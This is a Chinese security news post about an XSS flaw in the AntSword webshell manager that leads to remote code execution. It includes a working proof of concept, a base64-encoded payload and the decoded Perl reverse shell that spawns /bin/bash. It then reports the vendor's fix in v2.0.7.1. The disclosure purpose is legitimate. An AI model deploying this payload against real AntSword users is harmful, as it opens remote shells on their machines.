中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。
当通过中国蚁剑连接webshell,出现连接失败情况时,中国蚁剑会返回错误信息,如下图:
而该信息并没有进行 XSS 保护,因此能够利用 js 调用 perl 便可反弹攻击者的shell。
代码语言:javascript复制<?phpheader('HTTP/1.1 500 <img src=# onerror=alert(1)>');
反弹shell的exp (for perl)如下,使用base64编码:
代码语言:javascript复制<?phpheader("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWU
gXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO
2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI JlMiKTtvcGVuKFN
UREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c
3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");?>
base64_decode code
代码语言:javascript复制require('child_process').exec('perl -e 'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,
getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
成功反弹攻击者shell:
在该漏洞问题被提出之后,中国蚁剑的作者在今天上午对该问题及时做出了响应,并且及时发布了中国蚁剑的新版本 AntSword v2.0.7.1。
在最新的版本中,为了防止插件中 toastr 出现类似问题, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html。对于所有使用中国蚁剑旧版本的用户,建议及时更新到最新版本。
参考链接
1.https://github.com/AntSwordProject/antSword/issues/147 2.https://www.jianshu.com/p/6457e8b4a16b
*本文作者:Allen别bb